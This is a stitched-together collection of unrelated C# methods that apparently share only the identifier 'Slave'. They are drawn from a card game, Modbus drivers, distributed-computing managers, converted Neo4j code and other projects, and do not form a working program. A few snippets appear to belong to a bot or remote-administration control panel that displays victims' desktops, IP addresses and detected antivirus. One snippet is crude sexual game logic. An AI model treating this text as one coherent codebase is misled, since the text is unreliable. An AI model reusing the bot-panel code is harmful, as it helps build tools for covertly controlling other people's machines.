//void ToggleAnchorFieldVisibility() {
// if (currentChoosedCard == CardID.Anchorcard && anchorFieldVisible == false) {
// anchorFieldVisible = true;
// for (int x = Camera.main.GetComponent<CameraManager>().min_x - 2; x <= Camera.main.GetComponent<CameraManager>().max_x + 2; x++) {
// for (int y = Camera.main.GetComponent<CameraManager>().min_y - 2; y <= Camera.main.GetComponent<CameraManager>().max_y + 2; y++) {
// if (GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y)) != null) {
// GameObject Indicator = GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y));
// if (Indicator.GetComponent<Indicator>().indicatorState == IndicatorState.anchorfield) {
// SpriteRenderer rend = Indicator.GetComponent<SpriteRenderer>();
// rend.sprite = Resources.Load<Sprite>(Slave.GetImagePath(CardID.FieldIndicatorYellow, Team.system));
// }
// }
// }
// }
// }
// if (currentChoosedCard != CardID.Anchorcard && anchorFieldVisible == true) {
// anchorFieldVisible = false;
// print("Deactivate Anchorcards");
// for (int x = Camera.main.GetComponent<CameraManager>().min_x - 2; x <= Camera.main.GetComponent<CameraManager>().max_x + 2; x++) {
// for (int y = Camera.main.GetComponent<CameraManager>().min_y - 2; y <= Camera.main.GetComponent<CameraManager>().max_y + 2; y++) {
// if (GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y)) != null) {
// GameObject Indicator = GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y));
// if (Indicator.GetComponent<Indicator>().indicatorState == IndicatorState.anchorfield) {
// SpriteRenderer rend = Indicator.GetComponent<SpriteRenderer>();
// rend.sprite = Resources.Load<Sprite>(Slave.GetImagePath(CardID.FieldIndicatorBlack, Team.system));
// }
// }
// }
// }
// }
//}
public void RenewIndicators()
{
for (int x = Camera.main.GetComponent <CameraManager>().min_x - 3; x <= Camera.main.GetComponent <CameraManager>().max_x + 3; x++)
{
for (int y = Camera.main.GetComponent <CameraManager>().min_y - 3; y <= Camera.main.GetComponent <CameraManager>().max_y + 3; y++)
{
if (GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y)) != null)
{
GameObject Indicator = GameObject.Find(Slave.GetCardName(CardID.FieldIndicator, x, y));
if (Indicator.GetComponent <Indicator>().indicatorState != IndicatorState.blocked)
{
Indicator.GetComponent <Indicator>().indicatorState = IndicatorState.unreachable;
}
}
}
}
for (int x = Camera.main.GetComponent <CameraManager>().min_x; x <= Camera.main.GetComponent <CameraManager>().max_x; x++)
{
for (int y = Camera.main.GetComponent <CameraManager>().min_y; y <= Camera.main.GetComponent <CameraManager>().max_y; y++)
{
if (GameObject.Find(Slave.GetCardName(CardID.Card, x, y)) != null)
{
SetFieldIndicator(x, y);
}
}
}
}
private void Input_OnReceive(object sender, ChannelReceivedEventArgs e)
{
byte[] message = e.Message;
byte[] msg = message;
try
{
MbapHeader header = MbapHeader.Decode(message);
if (header == null)
{
return;
}
Slave slave = config.Slaves.Where(s => s.UnitId == header.UnitId).FirstOrDefault();
byte? alias = slave?.Alias.Value;
foreach (var filter in InputFilters)
{
msg = filter.Execute(message, alias);
msg ??= message;
logger?.LogDebug("Filter executed.");
}
OutputChannel.SendAsync(msg).GetAwaiter();
logger?.LogDebug("Message sent to output channel.");
}
catch (Exception ex)
{
logger?.LogError(ex, "Fault input channel receive.");
}
}
/// <summary>
/// 取消salve行为
/// </summary>
/// <param name="salve"></param>
public void CancelSlave(Slave salve)
{
lock (_syncObject)
{
_slaves.Remove(salve);
}
}
public void Merge()
{
var slaveRecords = new Dictionary <string, string[]>(StringComparer);
do
{
var record = Slave.CurrentRecord;
var key = CreateKey(record);
slaveRecords.Add(key, record);
} while (Slave.Read());
foreach (var item in MasterHeaders)
{
Output.WriteField(item.Key);
}
Output.NextRecord();
do
{
var master = Master.CurrentRecord;
var key = CreateKey(master);
string[] slave;
if (slaveRecords.TryGetValue(key, out slave))
{
foreach (var slaveCol in MergeHeaders)
{
master[MasterHeaders[slaveCol]] = slave[SlaveHeaders[slaveCol]];
}
}
foreach (var item in master)
{
Output.WriteField(item);
}
Output.NextRecord();
} while (Master.Read());
}
private void buttonOK_Click(object sender, EventArgs e)
{
Enabled = false;
Cursor = Cursors.WaitCursor;
Slave.DoWork(ProceedNodeBackGround, new object[] { tree.Nodes }, OnProceedNodesComplete);
}
public void Optimize()
{
Data.LoadData();
do
{
Master master = new Master();
master.Frmk = this;
if (!master.Solve())
{
throw new ApplicationException("主问题不可行！");
}
Slave slave = new Slave();
slave.Frmk = this;
if (!slave.Solve())
{
throw new ApplicationException("子问题出错！");
}
if (Math.Abs(master.ObjValue - slave.ObjValue) < 0.001)
{
master.Dispose();
slave.Dispose();
break;
}
master.Dispose();
slave.Dispose();
}while (true);
}
/// <summary>
/// Method used to add a new slave in the list of "known ones".
/// It returns ID
/// </summary>
public int AddNewSlave(String slaveIPAddress, Int32 port, String password = CommonClasses.DefaultSettings.DefaultPassword, int ID = -1)
{
try
{
Slave s = new Slave(slaveIPAddress, port, password);
if (ID >= 0 && slaves.ContainsKey(ID))
{
throw new Exception("Duplicate key for slaves list");
}
if (ID < 0)
{
ID = 0;
while (slaves.ContainsKey(ID))
{
ID++;
}
/*ID = -1;
* foreach (int key in slaves.Keys)
* {
* if (key > ID) ID = key;
* }
* ID++;*/
}
slaves[ID] = s;
return(ID);
}
catch (FormatException)
{
throw new Exception("The address of the slave isn't a valid IP address");
}
}
private void Start()
{
GameObject F = GameObject.Find("Field");
Card = GameObject.Find(Slave.GetCardName(CardID.Card, x, y));
SpriteRenderer = Card.GetComponent <SpriteRenderer>();
SpriteRenderer.sprite = Resources.Load <Sprite>(Slave.GetImagePath(team, F.GetComponent <GameManager>().currentChoosedCardGO.GetComponent <Handcards>().PointCardCounter));
if (WinCondition() == true)
{
F.GetComponent <GameManager>().WinScreen.enabled = true;
string playerName;
if (team == Team.blue)
{
playerName = "Player 1" + "!";
}
else
{
playerName = "Player 2" + "!";
}
GameObject.Find("PlayerNameWin").GetComponent <Text>().text = playerName;
}
else
{
F.GetComponent <GameManager>().animationDone = true;
}
}
// Use this for initialization
void Start()
{
F = GameObject.Find("Field");
Card = GameObject.Find(Slave.GetCardName(CardID.Changecard, x, y));
Cardbelow = GameObject.Find(Slave.GetCardName(CardID.Card, x, y));
int ycord = Cardbelow.GetComponent <Card>().y;
Team cardteam = Cardbelow.GetComponent <Card>().team;
int xcord = Cardbelow.GetComponent <Card>().x;
switch (Card.GetComponent <Card>().cardid)
{
case CardID.Blockcard:
Destroy(Cardbelow.GetComponent <BlockCard>());
break;
case CardID.Anchorcard:
Destroy(Cardbelow.GetComponent <AnchorCard>());
break;
case CardID.Pointcard:
Destroy(Cardbelow.GetComponent <PointCard>());
break;
}
Cardbelow.AddComponent <BlankCard>();
Cardbelow.GetComponent <Card>().y = ycord;
Cardbelow.GetComponent <Card>().x = xcord;
Cardbelow.GetComponent <Card>().team = cardteam;
Cardbelow.GetComponent <Card>().cardid = CardID.Blankcard;
SpriteRenderer = Cardbelow.GetComponent <SpriteRenderer>();
SpriteRenderer.sprite = Resources.Load <Sprite>(Slave.GetImagePath(CardID.Blankcard, cardteam));
F.GetComponent <GameManager>().animationDone = true;
F.GetComponent <GameManager>().RemoveCard(Card);
}
/// <summary>
/// Constructor for the singleton, must recover Guid, Calendar, ...
/// </summary>
public ConfigManager(TaskManager jobManager) {
this.jobManager = jobManager;
cpuCounter = new PerformanceCounter();
cpuCounter.CategoryName = "Processor";
cpuCounter.CounterName = "% Processor Time";
cpuCounter.InstanceName = "_Total";
memCounter = new PerformanceCounter("Memory", "Available Bytes", true);
Asleep = false;
slave = new Slave();
slave.Id = GetUniqueMachineId();
slave.Name = Environment.MachineName;
if (Settings.Default.NrOfCoresToScavenge < 1 || Settings.Default.NrOfCoresToScavenge > Environment.ProcessorCount) {
slave.Cores = Environment.ProcessorCount;
} else {
slave.Cores = Settings.Default.NrOfCoresToScavenge;
}
slave.Memory = GetPhysicalMemory();
slave.CpuArchitecture = Environment.Is64BitOperatingSystem ? CpuArchitecture.x64 : CpuArchitecture.x86;
slave.OperatingSystem = Environment.OSVersion.VersionString;
slave.CpuSpeed = GetCpuSpeed();
slave.IsDisposable = true;
UpdateSlaveInfo();
}
protected override void OnContentChanged()
{
base.OnContentChanged();
if (Content == null)
{
ShowSlaveUI(true);
txtName.Clear();
txtCPU.Clear();
txtDetailsDescription.Clear();
txtMemory.Clear();
txtOS.Clear();
txtSlaveState.Clear();
txtLastHeartbeat.Clear();
txtFreeMemory.Clear();
txtId.Clear();
txtHbIntervall.Clear();
cbxDisposable.Checked = false;
cbxPublic.Checked = false;
}
else
{
if (Content.GetType() == typeof(Slave))
{
ShowSlaveUI(true);
Slave ct = (Slave)Content;
bool authorized = UserInformation.Instance.UserExists && (ct.OwnerUserId == UserInformation.Instance.User.Id || HiveRoles.CheckAdminUserPermissions());
txtName.Text = ct.Name;
txtHbIntervall.Text = ct.HbInterval.ToString();
cbxPublic.Enabled = authorized;
cbxPublic.CheckedChanged -= new EventHandler(cbxPublic_CheckedChanged);
cbxPublic.Checked = ct.OwnerUserId == null;
cbxPublic.CheckedChanged += new EventHandler(cbxPublic_CheckedChanged);
txtCPU.Text = string.Format("{0} Cores @ {1} Mhz, Arch.: {2}", ct.Cores.ToString(), ct.CpuSpeed.ToString(), ct.CpuArchitecture.ToString());
txtDetailsDescription.Text = ct.Description;
txtMemory.Text = ct.Memory.ToString();
txtOS.Text = ct.OperatingSystem;
txtSlaveState.Text = ct.SlaveState.ToString();
txtLastHeartbeat.Text = ct.LastHeartbeat.ToString();
txtFreeMemory.Text = ct.FreeMemory.ToString();
txtId.Text = ct.Id.ToString();
cbxDisposable.Enabled = authorized;
cbxDisposable.Checked = ct.IsDisposable.GetValueOrDefault();
}
else if (Content.GetType() == typeof(SlaveGroup))
{
SlaveGroup ct = (SlaveGroup)Content;
txtName.Text = ct.Name;
txtHbIntervall.Text = ct.HbInterval.ToString();
cbxPublic.Enabled = ct.Name != "UNGROUPED" && HiveRoles.CheckAdminUserPermissions();
cbxPublic.CheckedChanged -= new EventHandler(cbxPublic_CheckedChanged);
cbxPublic.Checked = ct.OwnerUserId == null;
cbxPublic.CheckedChanged += new EventHandler(cbxPublic_CheckedChanged);
ShowSlaveUI(false);
}
else
{
throw new Exception("Unknown Resource in SlaveView");
}
}
}
/// <summary>处理更新的数据项</summary>
/// <param name="remote"></param>
protected virtual void ProcessItem(ISyncMasterEntity remote)
{
var local = Slave.FindByKey(remote.Key);
// 本地不存在，新增；
// 如果找到，但是同步时间为最小值，表示从未同步，那是新数据，碰巧主键与提供者的某条数据一致，可能性很小
if (local == null || local.LastSync <= DateTime.MinValue)
{
local = Convert(remote);
local.LastUpdate = local.LastSync = DateTime.Now;
local.Insert();
return;
}
// 本地没有修改，提供方覆盖本地；如果本地有修改，但是修改时间小于提供方，也由提供方覆盖
if (local.LastUpdate < local.LastSync || UpdateConflictByLastUpdate && local.LastUpdate < remote.LastUpdate)
{
CopyTo(remote, local);
}
// 本地有修改，本地覆盖提供方
else if (!Master.ReadOnly)
{
// 如果有返回值，可能是在更新的过程中数据有修改
var rs = Master.Update(Convert(local));
if (rs != null)
{
CopyTo(rs, local);
}
}
local.LastSync = DateTime.Now;
local.Update();
}
//JAVA TO C# CONVERTER WARNING: 'final' parameters are ignored unless the option to convert to C# 7.2 'in' parameters is selected:
//ORIGINAL LINE: public void queuePush(org.neo4j.kernel.ha.com.master.Slave slave, final long txId)
public virtual void QueuePush(Slave slave, long txId)
{
PullUpdateFuture pullRequest = new PullUpdateFuture(slave, txId);
BlockingQueue <PullUpdateFuture> queue = GetOrCreateQueue(slave);
// Add our request to the queue
while (!queue.offer(pullRequest))
{
Thread.yield();
}
try
{
// Wait for request to finish
pullRequest.get();
}
catch (InterruptedException e)
{
Thread.interrupted(); // Clear interrupt flag
throw new Exception(e);
}
catch (ExecutionException e)
{
if (e.InnerException is Exception)
{
throw ( Exception )e.InnerException;
}
else
{
throw new Exception(e.InnerException);
}
}
}
protected override void OnStateStarted()
{
base.OnStateStarted();
Slave.Connect("mouse_entered", this, nameof(OnMouseEntered));
Slave.Connect("mouse_exited", this, nameof(OnMouseExited));
Slave.Connect(nameof(Unit.Clicked), this, nameof(OnClicked));
}
public Slave CreateSlave()
{
var sessionId = NextSessionId();
Slave ret = new Slave(sessionId, SessionLayer.CreateClient(), FrameLayer.CreateClient(), TransportLayer.CreateClient(sessionId));
return(ret);
}
public FolderSelectDialog(int[] docIDs, int empID)
{
InitializeComponent();
Show();
Cursor = Cursors.WaitCursor;
Enabled = false;
this.docIDs = docIDs;
Slave.DoWork("BuildFriendlyDocList", new object[] { docIDs }, OnBuildFriendlyDocListComplete);
tree.CreateWorkFolderRoot();
tree.CreateSharedWorkFolderRoot(true);
foreach (TreeNode node in tree.Nodes.Cast <TreeNode>().Where(node =>
{
var workFolderNode = node as FolderTree.FolderNodes.WorkNodes.WorkFolderNode;
return(workFolderNode != null && workFolderNode.Emp.ID != empID);
}))
{
node.Remove();
}
tree.UpdateWorkFolderStatus();
tree.ExpandAll();
}
// Update is called once per frame
void Update()
{
if (cardprocessdone)
{
return;
}
if (Input.GetKeyDown(KeyCode.Mouse0))
{
print("Klick");
if (F.GetComponent <GameManager>().cardlocked == true)
{
Vector3 mouseWorldPos = Camera.main.ScreenToWorldPoint(Input.mousePosition);
int indexX = F.GetComponent <Field>().RoundIt(mouseWorldPos.x);
int indexY = F.GetComponent <Field>().RoundIt(mouseWorldPos.y);
GameObject CardIndicator = GameObject.Find(Slave.GetCardName(CardID.CardIndicator, indexX, indexY));
GameObject Card = GameObject.Find(Slave.GetCardName(CardID.Card, indexX, indexY));
if (Card != null &&
Card.GetComponent <Card>().team != Team.system &&
CardIndicator.GetComponent <Indicator>().indicatorColor == IndicatorColor.yellowcovered)
{
F.GetComponent <GameManager>().animationDone = true;
F.GetComponent <GameManager>().cardlocked = false;
cardprocessdone = true;
CardIndicatorLeft.GetComponent <Indicator>().setColor(IndicatorColor.transparent);
CardIndicatorRight.GetComponent <Indicator>().setColor(IndicatorColor.transparent);
CardIndicatorUp.GetComponent <Indicator>().setColor(IndicatorColor.transparent);
CardIndicatorDown.GetComponent <Indicator>().setColor(IndicatorColor.transparent);
F.GetComponent <GameManager>().RemoveCard(Card);
F.GetComponent <GameManager>().RemoveCard(GameObject.Find(Slave.GetCardName(CardID.Burncard, x, y)));
}
}
}
}
//JAVA TO C# CONVERTER TODO TASK: Most Java annotations will not have direct .NET equivalent attributes:
//ORIGINAL LINE: @Test public void shouldClearSlavesWhenNewMasterElected()
public virtual void ShouldClearSlavesWhenNewMasterElected()
{
// given
Cluster cluster = mock(typeof(Cluster));
ClusterMembers clusterMembers = mock(typeof(ClusterMembers));
when(clusterMembers.AliveMembers).thenReturn(Iterables.option((new ClusterMember(_instanceId)).availableAs(SLAVE, _haUri, StoreId.DEFAULT)));
SlaveFactory slaveFactory = mock(typeof(SlaveFactory));
Slave slave1 = mock(typeof(Slave));
Slave slave2 = mock(typeof(Slave));
when(slaveFactory.NewSlave(any(typeof(LifeSupport)), any(typeof(ClusterMember)), any(typeof(string)), any(typeof(Integer)))).thenReturn(slave1, slave2);
HighAvailabilitySlaves slaves = new HighAvailabilitySlaves(clusterMembers, cluster, slaveFactory, new HostnamePort("localhost", 0));
slaves.Init();
ArgumentCaptor <ClusterListener> listener = ArgumentCaptor.forClass(typeof(ClusterListener));
verify(cluster).addClusterListener(listener.capture());
// when
Slave actualSlave1 = slaves.Slaves.GetEnumerator().next();
listener.Value.elected(ClusterConfiguration.COORDINATOR, _instanceId, _clusterUri);
Slave actualSlave2 = slaves.Slaves.GetEnumerator().next();
// then
assertThat(actualSlave2, not(sameInstance(actualSlave1)));
}
public bool GetSensorStatus(Slave slave)
{
var startAddress = GetStartAddress(slave.DeviceNumber);
var registers = _modbusSerial.ReadHoldingRegisters(slave.SlaveId, startAddress, 16);
return((registers[0] & 1) == 1);
}
public void AddSlave(string key, int star, string name, int health, int stress, int loyalty, int pay, int workPower)
{
Slave slaveTemp = new Slave(key, star, name, health, stress, loyalty, pay, workPower);
Slaves.Add(slaveTemp);
slaveListManager.UpdateList(Slaves);
}
private void Overseer_FileDetected(Slave arg1, string arg2)
{
var lines = Regex.Split(arg2, "\r\n");
foreach (var l in lines)
{
if (string.IsNullOrWhiteSpace(l))
{
continue;
}
var groups = l.Split('|');
var level = Core.LogLevel.Message;
if (groups[2].ToLower() == "error")
{
level = Core.LogLevel.Error;
}
else if (groups[2].ToLower() == "warning")
{
level = Core.LogLevel.Warning;
}
// Example:
// 脚本调用发生错误|无法连接远程服务器,远程服务器返回(500)|ERROR|
var sb = new StringBuilder();
for (int i = 2; i < groups.Length; i++)
{
sb.Append($"| {groups[i]}");
}
Program.Logs.WriteLog($"[设备:{arg1.Device.Serial}] {groups[0]} {sb}", groups[1], level, "remote");
}
}
/// <summary>
/// xunit will automatically create an instance of DDLEventTestData and pass it to this method before running tests
/// </summary>
public void SetFixture(ApplySchemaChangeTestData data)
{
this.tables = data.tables;
this.sourceDataUtils = data.sourceDataUtils;
this.destDataUtils = data.destDataUtils;
this.slave = data.slave;
}
public ushort GetRegister(Slave slave, ushort registerAddress)
{
registerAddress -= 1;
var register = _modbusSerial.ReadHoldingRegisters(slave.SlaveId, registerAddress, 1).First();
return(register);
}
public void SendConfigurationMessage(Slave slave, ConfigurationMessage configurationMessage)
{
var startAddress = GetStartAddress(slave.DeviceNumber, 12);
var valueConfigurationMessage = GetValueToConfigurationMessage(configurationMessage);
_modbusSerial.WriteSingleRegister(slave.SlaveId, startAddress, valueConfigurationMessage);
}
public ushort GetElectromagneticFieldValue(Slave slave)
{
var startAddress = GetStartAddress(slave.DeviceNumber);
var registers = _modbusSerial.ReadHoldingRegisters(slave.SlaveId, startAddress, 1);
return(registers[0]);
}
/// <summary>
/// Constructor for the singleton, must recover Guid, Calendar, ...
/// </summary>
public ConfigManager(TaskManager jobManager)
{
this.jobManager = jobManager;
cpuCounter = new PerformanceCounter();
cpuCounter.CategoryName = "Processor";
cpuCounter.CounterName = "% Processor Time";
cpuCounter.InstanceName = "_Total";
memCounter = new PerformanceCounter("Memory", "Available Bytes", true);
Asleep = false;
slave = new Slave();
slave.Id = GetUniqueMachineId();
slave.Name = Environment.MachineName;
if (Settings.Default.NrOfCoresToScavenge < 1 || Settings.Default.NrOfCoresToScavenge > Environment.ProcessorCount)
{
slave.Cores = Environment.ProcessorCount;
}
else
{
slave.Cores = Settings.Default.NrOfCoresToScavenge;
}
slave.Memory = GetPhysicalMemory();
slave.CpuArchitecture = Environment.Is64BitOperatingSystem ? CpuArchitecture.x64 : CpuArchitecture.x86;
slave.OperatingSystem = Environment.OSVersion.VersionString;
slave.CpuSpeed = GetCpuSpeed();
slave.IsDisposable = true;
UpdateSlaveInfo();
}
public ApplySchemaChangeTestData()
{
tables = new TableConf[2];
//first table has no column list
tables[0] = new TableConf();
tables[0].SchemaName = "dbo";
tables[0].Name = "test1";
//second one has column list
tables[1] = new TableConf();
tables[1].SchemaName = "dbo";
tables[1].Name = "test2";
tables[1].ColumnList = new string[] { "column1", "column2" };
sourceDataUtils = new TestDataUtils(TServer.RELAY);
destDataUtils = new TestDataUtils(TServer.SLAVE);
testData = new DataSet();
sourceDataUtils.testData = new DataSet();
destDataUtils.testData = new DataSet();
//this method, conveniently, sets up the datatable schema we need
sourceDataUtils.CreateSchemaChangeTable("CT_testdb", 1);
Config.Tables = tables.ToList();
Config.RelayDB = "CT_testdb";
var logger = new Logger(null, null, null, "");
slave = new Slave(sourceDataUtils, destDataUtils, logger);
}
public InternalMessage(Slave slave, byte func, byte[] writeBuffer, int writeSize, int readSize, ResponseCallback callback)
{
byte[] crc = new byte[2];
this.slave = slave;
if (writeBuffer != null)
{
this.writeBuffer = new byte[5 + writeSize];
}
else
{
this.writeBuffer = new byte[5];
}
this.responseLength = 5 + readSize;
this.readBuffer = new byte[responseLength];
this.callback = callback;
this.writeBuffer[0] = slave.address;
this.writeBuffer[1] = func;
this.writeBuffer[2] = (byte)this.writeBuffer.Length;
if (writeBuffer != null)
{
Array.Copy(writeBuffer, 0, this.writeBuffer, 3, writeSize);
}
crc16(ref this.writeBuffer, ref crc);
this.writeBuffer[this.writeBuffer.Length - 2] = crc[0];
this.writeBuffer[this.writeBuffer.Length - 1] = crc[1];
}
public IEnumerable <TaskInfoForScheduler> GetWaitingTasks(Slave slave)
{
//Originally we checked here if there are parent tasks which should be calculated (with GetParentTasks(resourceIds, count, false);).
//Because there is at the moment no case where this makes sense (there don't exist parent tasks which need to be calculated),
//we skip this step because it's wasted runtime
return(Db.ExecuteQuery <TaskInfoForScheduler>(GetWaitingTasksQueryString, slave.ResourceId, Enum.GetName(typeof(TaskState), TaskState.Waiting), slave.FreeCores, slave.FreeMemory));
}
private void AddNewBot(Slave slave)
{
// 5 columns right now so far
// Picture | OS | IP | CPU and RAM | Detected AV's
// 1 2 3 4 5
DataGridViewRow row = new DataGridViewRow();
row.Height = 50;
DataGridViewCell cell = new DataGridViewTextBoxCell();
for (var x = 1; x <= 5; x++)
{
switch (x)
{
case 1:
// First column will ALWAYS be the desktop preview image
cell = new DataGridViewImageCell();
cell.Value = slave.PreviewImg;
row.Cells.Add(cell);
break;
case 2:
cell = new DataGridViewTextBoxCell();
cell.Value = slave.OSVersion;
row.Cells.Add(cell);
break;
case 3:
cell = new DataGridViewTextBoxCell();
cell.Value = slave.IP;
row.Cells.Add(cell);
break;
case 4:
cell = new DataGridViewTextBoxCell();
cell.Value = $"{slave.ProcessorInfo} | {slave.RamPresent}";
row.Cells.Add(cell);
break;
case 5:
cell = new DataGridViewTextBoxCell();
cell.Value = slave.ClientID;
row.Cells.Add(cell);
break;
case 6:
cell = new DataGridViewTextBoxCell();
cell.Value = ClientHandler.GetAVFormatted(slave);
row.Cells.Add(cell);
break;
default:
break;
}
}
botView.Rows.Add(row);
SetImageStretch();
}
/// <summary>
///
/// </summary>
/// <param name="slave"></param>
public RemoteDesktopWindow(Slave slave)
: base(slave)
{
InitializeComponent();
// in case we leave the window withouth stopping
Closing += (s, e) => StopCapture();
}
public CommandModel(long id, Slave slave, string headerText, string targetText)
{
Id = id;
Slave = slave;
HeaderText = headerText;
TargetText = targetText;
m_progressColor = Brushes.Green;
}
void BuildMachineList()
{
lock (MasterServer.Connections)
foreach (KeyValuePair <string, SlaveInfo> Slave in MasterServer.Connections)
{
CheLisBox_ConnectedMachines.Items.Add(Slave.ToString());
}
}
/// <summary>
///
/// </summary>
/// <param name="slave"></param>
public FileManagerWindow(Slave slave) : base(slave)
{
InitializeComponent();
Loaded += OnNavigate;
FileTransactionsList.DataContext = ViewModelCommands;
FilesList.DataContext = ViewModelFiles = new ViewModelCollection<FileMeta>();
}
public B*****b(Master master, Slave slave)
{
Punish = new PunishMulti();
Master = master;
History = new List<PartName>();
BlowJobType = Master.Personality.BlowJobType;
SucksLeft = BlowJobType.Sucks.Value;
if (BlowJobType.Rest.Have)
SucksLeftToRest = BlowJobType.Rest.SuckToRest.Value;
if (BlowJobType.Behavior != null)
BlowJobType.Behavior.B*****b = this;
Punish = BlowJobType.Punish;
}
public void HaltSlave(Slave slave, bool hard_stop)
{
bool hs = hard_stop;
if(!hs)
{
// Let interface decide type of stop
if(rbTestMotionStopHard.Checked)
hs = true;
}
string err;
if(!slave.MoveCtlStop(hs, out err))
{
MsgBox.Show(this, err);
Log(LogMsgType.Error, err + "\n");
}
}
public void UpdateSlave(Slave slave) {
Db.SubmitChanges();
}
private void AddSkills(Slave slave)
{
foreach (var skill in slave.SlaveStats.Skills)
{
AddSkillListItem(skill.Name, skill.Rank, skill.Experience);
}
}
bool CheckIfIsInList(Slave newSlave)
{
bool exist = false;
Slave old;
old = slaves.Find(t => t.ip == newSlave.ip);
if(old==null) //if (old.name == null && old.ip == null)
exist = false;
else
exist = true;
return exist;
}
Slave readHeader(string stringData)
{
Slave paket = new Slave();
byte[] data = new byte[1024];
byte[] vysledky= new byte[1024];
int lengthName = 0, cpu = 0, data_len = 0;
data = Encoding.ASCII.GetBytes(stringData);
lengthName = 0;
while ((data[2]>>4) > 1)
{
if (((data[2] >> 4) & 0x01)>0)
{
lengthName = (data[3]);
data[2] -= 0x01 << 4;
for (int a = 0; a < lengthName; a++)
{
paket.name += (char)data[a + 4];
}
}
if (((data[2] >> 4) & 0x02) > 0)
{
data[2] -= 0x02 << 4;
paket.num_cpu = data[lengthName + 4];
cpu = paket.num_cpu.ToString().Length;
}
if (((data[2] >> 4) & 0x04) > 0)
{
data[2] -= 0x04 << 4;
data_len = data[3 + lengthName + cpu];
//TODO: spracovanie prijatych dat
for (int a = 0; a < data_len; a++)
{
vysledky[a] = data[4 + lengthName + cpu+a];
}
refreshTextBox(Encoding.ASCII.GetString(vysledky));
}
}
return paket;
}
/******************************************************************************/
public Servo(Slave slave)
{
_slave = slave;
}
public IEnumerable<TaskInfoForScheduler> GetWaitingTasks(Slave slave) {
//Originally we checked here if there are parent tasks which should be calculated (with GetParentTasks(resourceIds, count, false);).
//Because there is at the moment no case where this makes sense (there don't exist parent tasks which need to be calculated),
//we skip this step because it's wasted runtime
return Db.ExecuteQuery<TaskInfoForScheduler>(GetWaitingTasksQueryString, slave.ResourceId, Enum.GetName(typeof(TaskState), TaskState.Waiting), slave.FreeCores, slave.FreeMemory);
}
